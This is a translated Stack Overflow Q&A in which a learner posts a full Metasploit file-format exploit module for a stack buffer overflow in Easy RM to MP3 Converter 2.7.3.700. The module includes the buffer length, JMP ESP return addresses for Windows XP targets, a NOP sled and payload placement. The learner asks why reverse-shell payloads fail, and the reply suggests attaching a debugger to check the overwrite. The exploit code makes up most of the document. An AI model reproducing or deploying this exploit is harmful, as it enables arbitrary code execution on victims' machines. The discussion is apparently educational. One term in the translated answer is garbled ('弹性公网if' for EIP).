我从一段时间前开始学习利用写作,并创建了一些利用。其中之一是一个简单的rm到mp3的转换器,它工作得很好。然而,现在我考虑将我的漏洞转换为metasploit模块,并遵循了许多文章中给出的步骤。然而,我面临的唯一错误是有效负载不工作。最终,我求助于在线查找类似的模块,并找到了一个肯定可以工作的模块。但是,在使用meterpreter有效负载时,我得不到meterpreter会话或shell。在做了一些更改之后,下面是我所使用的:
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy RM to MP3 Converter (2.7.3.700) Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in versions 2.7.3.700
creating a specially crafted .m3u8 file, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Crazy_Hacker', # Original
'buzz',
],
'Version' => 'Version 1',
'References' =>
[
[ 'URL', 'http://packetstormsecurity.org/files/view/79307/easyrmmp3-overflow.txt' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 (En)', { 'Ret' => 0x01A13F01} ], # Universal Address (MSRMCcodec02.dll)
[ 'Windows XP SP3 (Fr)', { 'Ret' => 0x01AAF23A} ], # FFE4 ,JMP, ESP from (MSRMCcodec02.dll)
[ 'Windows XP (Universal)', { 'Ret' => 0x773D4540} ], # JMP ESP in (SHELL32.DLL)
],
'Privileged' => false,
'DefaultTarget' => 1))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'buzz.m3u']),
], self.class)
end
def exploit
sploit ="A"*26068 # rand_text_alphanumeric(26068) # Buffer Overflow
sploit << [target.ret].pack('V')
sploit << "\x90" * 30 # nopsled
sploit << payload.encoded
sploit << "B"*1000
buzz= sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buzz)
end
end我尝试了许多有效负载:meterpreter/reverse_tcp、shell/reverse_tcp、e.t.c,但似乎都不起作用。有什么解决方案吗?
发布于 2013-07-01 19:15:30
您还应该提供有关正在使用的操作系统以及为运行该模块所提供的参数的更多详细信息。
正如你所看到的,Ret的指针根据操作系统的不同而不同。
您是否附加了调试器来查看应用程序中发生的情况?据我所知,你的模糊字符串似乎不适合这个缓冲区
sploit ="A"*26068
它应该不止于此。附加调试器,查看弹性公网if是否被覆盖。
致敬,T0X1C
https://stackoverflow.com/questions/17406327
复制相似问题